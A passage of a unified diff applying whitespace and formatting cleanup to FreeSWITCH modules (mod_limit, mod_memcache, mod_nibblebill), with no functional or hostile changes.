mydata = strdup(data);
switch_assert(mydata);
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 3 || !argv[0]) {
goto usage;
}
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
if (!strcasecmp(argv[0], "insert")) {
if (argc < 4) {
goto usage;
@@ -508,13 +496,13 @@ SWITCH_STANDARD_APP(hash_function)
} else {
goto usage;
}
goto done;
usage:
usage:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
done:
done:
switch_mutex_unlock(globals.db_hash_mutex);
switch_safe_free(mydata);
switch_safe_free(hash_key);
@@ -536,13 +524,13 @@ SWITCH_STANDARD_API(hash_api_function)
switch_assert(mydata);
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 3 || !argv[0]) {
goto usage;
}
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
if (!strcasecmp(argv[0], "insert")) {
if (argc < 4) {
goto usage;
@@ -570,17 +558,17 @@ SWITCH_STANDARD_API(hash_api_function)
} else {
goto usage;
}
goto done;
usage:
usage:
stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
done:
done:
switch_mutex_unlock(globals.db_hash_mutex);
switch_safe_free(mydata);
switch_safe_free(hash_key);
return SWITCH_STATUS_SUCCESS;
}
@@ -649,7 +637,7 @@ SWITCH_STANDARD_API(group_api_function)
limit_execute_sql_callback(NULL, sql, group_callback, &cbt);
switch_safe_free(sql);
*(buf + (strlen(buf) - 1)) = '\0';
stream->write_function(stream, "%s", buf);
@@ -729,9 +717,9 @@ static switch_bool_t do_limit(switch_core_session_t *session, const char *realm,
got = atoi(buf);
if (max < 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got+1);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got + 1);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got+1, max);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got + 1, max);
}
if (max >= 0 && got + 1 > max) {
@@ -746,7 +734,7 @@ static switch_bool_t do_limit(switch_core_session_t *session, const char *realm,
switch_core_session_get_uuid(session));
limit_execute_sql(sql, NULL);
switch_safe_free(sql);
{
const char *susage = switch_core_session_sprintf(session, "%d", ++got);
@@ -787,8 +775,8 @@ SWITCH_STANDARD_APP(limit_function)
realm = argv[0];
id = argv[1];
/* Accept '-' as unlimited (act as counter)*/
/* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
@@ -796,7 +784,7 @@ SWITCH_STANDARD_APP(limit_function)
if (max < 0) {
max = 0;
}
}
}
if (argc >= 4) {
@@ -808,12 +796,12 @@ SWITCH_STANDARD_APP(limit_function)
if (!do_limit(session, realm, id, max)) {
/* Limit exceeded */
if (*xfer_exten == '!') {
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
} else {
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
}
}
}
/* !\brief Releases usage of a limit_-controlled ressource */
@@ -821,8 +809,7 @@ static void limit_release(switch_core_session_t *session, const char *realm, con
{
char *sql = NULL;
sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'",
switch_core_session_get_uuid(session), realm, id);
sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'", switch_core_session_get_uuid(session), realm, id);
limit_execute_sql(sql, globals.mutex);
switch_safe_free(sql);
}
@@ -845,16 +832,16 @@ SWITCH_STANDARD_APP(limit_execute_function)
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_execute %s\n", LIMITEXECUTE_USAGE);
return;
}
realm = argv[0];
id = argv[1];
/* Accept '-' as unlimited (act as counter)*/
/* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
@@ -862,7 +849,7 @@ SWITCH_STANDARD_APP(limit_execute_function)
if (max < 0) {
max = 0;
}
}
}
app = argv[3];
@@ -915,7 +902,7 @@ SWITCH_STANDARD_API(limit_usage_function)
stream->write_function(stream, "%s", buf);
end:
end:
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
}
@@ -937,22 +924,21 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
time_t now = switch_epoch_time_now(NULL);
limit_hash_private_t *pvt = NULL;
uint8_t increment = 1;
hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
switch_mutex_lock(globals.limit_hash_mutex);
/* Check if that realm+id has ever been checked */
if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
if (!(item = (limit_hash_item_t *) switch_core_hash_find(globals.limit_hash, hashkey))) {
/* No, create an empty structure and add it, then continue like as if it existed */
item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
item = (limit_hash_item_t *) malloc(sizeof(limit_hash_item_t));
switch_assert(item);
memset(item, 0, sizeof(limit_hash_item_t));
switch_core_hash_insert(globals.limit_hash, hashkey, item);
}
/* Did we already run on this channel before? */
if ((pvt = switch_channel_get_private(channel, "limit_hash")))
{
if ((pvt = switch_channel_get_private(channel, "limit_hash"))) {
/* Yes, but check if we did that realm+id
If we didnt, allow incrementing the counter.
If we did, dont touch it but do the validation anyways
@@ -960,7 +946,7 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
increment = !switch_core_hash_find(pvt->hash, hashkey);
} else {
/* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
pvt = (limit_hash_private_t *) switch_core_session_alloc(session, sizeof(limit_hash_private_t));
memset(pvt, 0, sizeof(limit_hash_private_t));
switch_core_hash_init(&pvt->hash, switch_core_session_get_pool(session));
switch_channel_set_private(channel, "limit_hash", pvt);
@@ -974,13 +960,14 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
/* Always increment rate when its checked as it doesnt depend on the channel */
item->rate_usage++;
if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
if ((max >= 0) && (item->rate_usage > (uint32_t) max)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n",
hashkey, max, interval, item->rate_usage);
status = SWITCH_FALSE;
goto end;
}
}
} else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
} else if ((max >= 0) && (item->total_usage + increment > (uint32_t) max)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
status = SWITCH_FALSE;
goto end;
@@ -994,12 +981,13 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
if (max == -1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
} else if (interval == 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey,
item->rate_usage, max, interval);
}
limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >=0 ? (uint32_t)max : 0);
limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >= 0 ? (uint32_t) max : 0);
}
/* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
@@ -1016,7 +1004,7 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
switch_core_event_hook_add_state_change(session, hash_state_handler);
end:
end:
switch_mutex_unlock(globals.limit_hash_mutex);
return status;
}
@@ -1028,28 +1016,28 @@ static void limit_hash_release(switch_core_session_t *session, const char *realm
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
limit_hash_item_t *item = NULL;
char *hashkey = NULL;
if (!pvt || !pvt->hash) {
return;
}
hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
switch_mutex_lock(globals.limit_hash_mutex);
if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt->hash, hashkey))) {
item->total_usage--;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)hashkey, item->total_usage);
if ((item = (limit_hash_item_t *) switch_core_hash_find(pvt->hash, hashkey))) {
item->total_usage--;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) hashkey, item->total_usage);
switch_core_hash_delete(pvt->hash, hashkey);
if (item->total_usage == 0) {
if (item->total_usage == 0) {
/* Noone is using this item anymore */
switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
switch_core_hash_delete(globals.limit_hash, (const char *) hashkey);
free(item);
}
}
switch_mutex_unlock(globals.limit_hash_mutex);
}
@@ -1072,29 +1060,28 @@ SWITCH_STANDARD_APP(limit_hash_function)
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash %s\n", LIMITHASH_USAGE);
return;
}
realm = argv[0];
id = argv[1];
/* If max is omitted or negative, only act as a counter and skip maximum checks */
if (argc > 2) {
if (argv[2][0] == '-') {
max = -1;
} else {
char *szinterval = NULL;
if ((szinterval = strchr(argv[2], '/')))
{
if ((szinterval = strchr(argv[2], '/'))) {
*szinterval++ = '\0';
interval = atoi(szinterval);
}
max = atoi(argv[2]);
if (max < 0) {
max = 0;
}
@@ -1106,11 +1093,11 @@ SWITCH_STANDARD_APP(limit_hash_function)
} else {
xfer_exten = limit_def_xfer_exten;
}
if (!do_limit_hash(session, realm, id, max, interval)) {
/* Limit exceeded */
if (*xfer_exten == '!') {
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
} else {
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
}
@@ -1137,23 +1124,22 @@ SWITCH_STANDARD_APP(limit_hash_execute_function)
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 5) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash_execute %s\n", LIMITHASHEXECUTE_USAGE);
return;
}
realm = argv[0];
id = argv[1];
/* Accept '-' as unlimited (act as counter)*/
/* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
char *szinterval = NULL;
if ((szinterval = strchr(argv[2], '/')))
{
if ((szinterval = strchr(argv[2], '/'))) {
*szinterval++ = '\0';
interval = atoi(szinterval);
}
@@ -1162,9 +1148,9 @@ SWITCH_STANDARD_APP(limit_hash_execute_function)
if (max < 0) {
max = 0;
}
}
}
app = argv[3];
app_arg = argv[4];
@@ -1191,31 +1177,31 @@ SWITCH_STANDARD_API(limit_hash_usage_function)
uint32_t count = 0;
switch_mutex_lock(globals.limit_hash_mutex);
if (!zstr(cmd)) {
mydata = strdup(cmd);
switch_assert(mydata);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
if (argc < 2) {
stream->write_function(stream, "USAGE: limit_hash_usage %s\n", LIMIT_HASH_USAGE_USAGE);
goto end;
}
hash_key = switch_mprintf("%s_%s", argv[0], argv[1]);
if ((item = switch_core_hash_find(globals.limit_hash, hash_key))) {
count = item->total_usage;
}
}
stream->write_function(stream, "%d", count);
end:
end:
switch_safe_free(mydata);
switch_safe_free(hash_key);
switch_mutex_unlock(globals.limit_hash_mutex);
return SWITCH_STATUS_SUCCESS;
}
@@ -1231,11 +1217,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"",
LIMIT_EVENT_USAGE);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"", LIMIT_EVENT_USAGE);
return SWITCH_STATUS_FALSE;
}
if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
return status;
}
@@ -1248,18 +1233,20 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_APP(app_interface, "limit", "Limit", LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_execute", "Limit", LIMITEXECUTE_USAGE, limit_execute_function, LIMITEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_hash", "Limit (hash)", LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE,
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "db", "Insert to the db", DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "hash", "Insert into the hashtable", HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function, LIMIT_HASH_USAGE_USAGE);
SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function,
LIMIT_HASH_USAGE_USAGE);
SWITCH_ADD_API(commands_api_interface, "limit_usage", "Gets the usage count of a limited resource", limit_usage_function, "<realm> <id>");
SWITCH_ADD_API(commands_api_interface, "db", "db get/set", db_api_function, "[insert|delete|select]/<realm>/<key>/<value>");
switch_console_set_complete("add db insert");
@@ -1279,13 +1266,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
{
switch_event_free_subclass(LIMIT_EVENT_USAGE);
switch_xml_config_cleanup(config_settings);
switch_mutex_destroy(globals.mutex);
switch_mutex_destroy(globals.limit_hash_mutex);
switch_mutex_destroy(globals.db_hash_mutex);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,11 +42,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load);
SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
static char *SYNTAX = "memcache <set|replace|add> <key> <value> [expiration [flags]]\n"
"memcache <get|getflags> <key>\n"
"memcache <delete> <key>\n"
"memcache <increment|decrement> <key> [offset [expires [flags]]]\n"
"memcache <flush>\n"
"memcache <status> [verbose]\n";
"memcache <get|getflags> <key>\n"
"memcache <delete> <key>\n" "memcache <increment|decrement> <key> [offset [expires [flags]]]\n" "memcache <flush>\n" "memcache <status> [verbose]\n";
static struct {
memcached_st *memcached;
@@ -55,7 +52,8 @@ static struct {
static switch_event_node_t *NODE = NULL;
static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
switch_bool_t changed)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
memcached_server_st *memcached_server = NULL;
@@ -64,23 +62,23 @@ static switch_status_t config_callback_memcached(switch_xml_config_item_t *data,
const char *memcached_str = NULL;
memcached_return rc;
unsigned int servercount;
if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
memcached_str = newvalue;
/* initialize main ptr */
memcached_server = memcached_servers_parse(memcached_str);
if (!memcached_server) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (server_list).\n");
switch_goto_status(SWITCH_STATUS_GENERR, end);
}
if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No memcache servers defined. Server string: %s.\n", memcached_str);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%u servers defined (%s).\n", servercount, memcached_str);
}
/* setup memcached */
newmemcached = memcached_create(NULL);
if (!newmemcached) {
@@ -93,16 +91,16 @@ static switch_status_t config_callback_memcached(switch_xml_config_item_t *data,
switch_goto_status(SWITCH_STATUS_GENERR, end);
}
/* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
/* swap pointers */
oldmemcached = globals.memcached;
globals.memcached = newmemcached;
newmemcached = NULL;
}
switch_goto_status(SWITCH_STATUS_SUCCESS, end);
end:
end:
if (memcached_server) {
memcached_server_list_free(memcached_server);
}
@@ -115,12 +113,13 @@ end:
return status;
}
static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
static switch_xml_config_string_options_t config_opt_memcache_servers = { NULL, 0, NULL }; /* anything ok */
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "", config_callback_memcached, &config_opt_memcache_servers,
"host,host:port,host", "List of memcached servers."),
SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "",
config_callback_memcached, &config_opt_memcache_servers,
"host,host:port,host", "List of memcached servers."),
SWITCH_CONFIG_ITEM_END()
};
@@ -129,8 +128,8 @@ static switch_status_t do_config(switch_bool_t reload)
if (switch_xml_config_parse_module_settings("memcache.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_GENERR;
}
return SWITCH_STATUS_SUCCESS;
}
@@ -154,42 +153,42 @@ SWITCH_STANDARD_API(memcache_function)
time_t expires = 0;
uint32_t flags = 0;
unsigned int server_count = 0;
memcached_return rc;
memcached_st *memcached = NULL;
memcached_stat_st *stat = NULL;
memcached_server_st *server_list;
if (zstr(cmd)) {
goto usage;
}
mydata = strdup(cmd);
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc < 1) {
goto usage;
}
/* clone memcached struct so we're thread safe */
memcached = memcached_clone(NULL, globals.memcached);
if (!memcached) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error cloning memcached object");
stream->write_function(stream, "-ERR Error cloning memcached object\n");
}
subcmd = argv[0];
if ((!strcasecmp(subcmd, "set") || !strcasecmp(subcmd, "replace") || !strcasecmp(subcmd, "add")) && argc > 2) {
key = argv[1];
val = argv[2];
if (argc > 3) {
expires_str = argv[3];
expires = (time_t)strtol(expires_str, NULL, 10);
expires = (time_t) strtol(expires_str, NULL, 10);
}
if (argc > 4) {
flags_str = argv[4];
flags = (uint32_t)strtol(flags_str, NULL, 16);
flags = (uint32_t) strtol(flags_str, NULL, 16);
}
if (!strcasecmp(subcmd, "set")) {
rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
@@ -198,7 +197,7 @@ SWITCH_STANDARD_API(memcache_function)
} else if (!strcasecmp(subcmd, "add")) {
rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
}
if (rc == MEMCACHED_SUCCESS) {
stream->write_function(stream, "+OK\n");
} else {
@@ -206,10 +205,10 @@ SWITCH_STANDARD_API(memcache_function)
}
} else if (!strcasecmp(subcmd, "get") && argc > 1) {
key = argv[1];
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
if (rc == MEMCACHED_SUCCESS) {
stream->write_function(stream, "%.*s", (int)string_length, val);
stream->write_function(stream, "%.*s", (int) string_length, val);
} else {
switch_safe_free(val);
switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
@@ -217,7 +216,7 @@ SWITCH_STANDARD_API(memcache_function)
switch_safe_free(val);
} else if (!strcasecmp(subcmd, "getflags") && argc > 1) {
key = argv[1];
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
if (rc == MEMCACHED_SUCCESS) {
stream->write_function(stream, "%x", flags);
@@ -234,20 +233,20 @@ SWITCH_STANDARD_API(memcache_function)
key = argv[1];
if (argc > 2) {
offset = (unsigned int)strtol(argv[2], NULL, 10);
offset = (unsigned int) strtol(argv[2], NULL, 10);
svalue = argv[2];
} else {
svalue = "1";
}
if (argc > 3) {
expires_str = argv[3];
expires = (time_t)strtol(expires_str, NULL, 10);
expires = (time_t) strtol(expires_str, NULL, 10);
}
if (argc > 4) {
flags_str = argv[4];
flags = (uint32_t)strtol(flags_str, NULL, 16);
flags = (uint32_t) strtol(flags_str, NULL, 16);
}
if (!strcasecmp(subcmd, "increment")) {
increment = SWITCH_TRUE;
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
@@ -259,18 +258,20 @@ SWITCH_STANDARD_API(memcache_function)
/* ok, trying to incr / decr a value that doesn't exist yet.
Try to add an appropriate initial value. If someone else beat
us to it, then redo incr/decr. Otherwise we're good.
*/
*/
rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : "0", strlen(svalue), expires, flags);
if (rc == MEMCACHED_SUCCESS) {
ivalue = (increment) ? offset : 0;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key, offset);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key,
offset);
} else {
if (increment) {
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
} else {
rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
}
}
if (rc == MEMCACHED_SUCCESS) {
@@ -282,7 +283,7 @@ SWITCH_STANDARD_API(memcache_function)
key = argv[1];
if (argc > 2) {
expires_str = argv[3];
expires = (time_t)strtol(expires_str, NULL, 10);
expires = (time_t) strtol(expires_str, NULL, 10);
}
rc = memcached_delete(memcached, key, strlen(key), expires);
if (rc == MEMCACHED_SUCCESS) {
@@ -293,7 +294,7 @@ SWITCH_STANDARD_API(memcache_function)
} else if (!strcasecmp(subcmd, "flush")) {
if (argc > 1) {
expires_str = argv[3];
expires = (time_t)strtol(expires_str, NULL, 10);
expires = (time_t) strtol(expires_str, NULL, 10);
}
rc = memcached_flush(memcached, expires);
if (rc == MEMCACHED_SUCCESS) {
@@ -310,7 +311,7 @@ SWITCH_STANDARD_API(memcache_function)
verbose = SWITCH_TRUE;
}
}
stream->write_function(stream, "Lib version: %s\n", memcached_lib_version());
stat = memcached_stat(memcached, NULL, &rc);
if (rc != MEMCACHED_SUCCESS && rc != MEMCACHED_SOME_ERRORS) {
@@ -320,13 +321,14 @@ SWITCH_STANDARD_API(memcache_function)
server_count = memcached_server_count(memcached);
stream->write_function(stream, "Servers: %d\n", server_count);
for (x = 0; x < server_count; x++) {
stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]),
memcached_server_port(memcached, server_list[x]));
if (verbose == SWITCH_TRUE) {
char **list;
char **ptr;
char *value;
memcached_return rc2;
list = memcached_stat_get_keys(memcached, &stat[x], &rc);
for (ptr = list; *ptr; ptr++) {
value = memcached_stat_get_value(memcached, &stat[x], *ptr, &rc2);
@@ -343,25 +345,26 @@ SWITCH_STANDARD_API(memcache_function)
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
mcache_error:
mcache_error:
if (rc != MEMCACHED_NOTFOUND) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd, memcached_strerror(memcached, rc));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd,
memcached_strerror(memcached, rc));
}
stream->write_function(stream, "-ERR %s\n", memcached_strerror(memcached, rc));
goto done;
usage:
usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
done:
done:
if (memcached) {
memcached_quit(memcached);
memcached_free(memcached);
}
switch_safe_free(mydata);
switch_safe_free(stat);
return status;
}
@@ -375,12 +378,12 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load)
memset(&globals, 0, sizeof(globals));
do_config(SWITCH_FALSE);
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
return SWITCH_STATUS_TERM;
}
SWITCH_ADD_API(api_interface, "memcache", "Memcache API", memcache_function, "syntax");
/* indicate that the module should continue to be loaded */
@@ -397,9 +400,9 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_memcache_shutdown)
if (globals.memcached) {
memcached_free(globals.memcached);
}
switch_event_unbind(&NODE);
return SWITCH_STATUS_SUCCESS;
}
@@ -53,31 +53,28 @@
static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
typedef struct
{
switch_time_t lastts; /* Last time we did any billing */
float total; /* Total amount billed so far */
typedef struct {
switch_time_t lastts; /* Last time we did any billing */
float total; /* Total amount billed so far */
switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
} nibble_data_t;
typedef struct nibblebill_results
{
float balance;
typedef struct nibblebill_results {
float balance;
float percall_max; /* Overrides global on a per-user level */
float lowbal_amt; /* ditto */
float percall_max; /* Overrides global on a per-user level */
float lowbal_amt; /* ditto */
} nibblebill_results_t;
/* Keep track of our config, event hooks and database connection variables, for this module only */
static struct
{
static struct {
/* Memory */
switch_memory_pool_t *pool;
switch_memory_pool_t *pool;
/* Event hooks */
switch_event_node_t *node;
@@ -86,15 +83,15 @@ static struct
switch_mutex_t *mutex;
/* Global billing config options */
float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
char *percall_action; /* Exceeded length of per-call action */
float lowbal_amt; /* When we warn them they are near depletion */
char *lowbal_action; /* Low balance action */
float nobal_amt; /* Minimum amount that must remain in the account */
char *nobal_action; /* Drop action */
float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
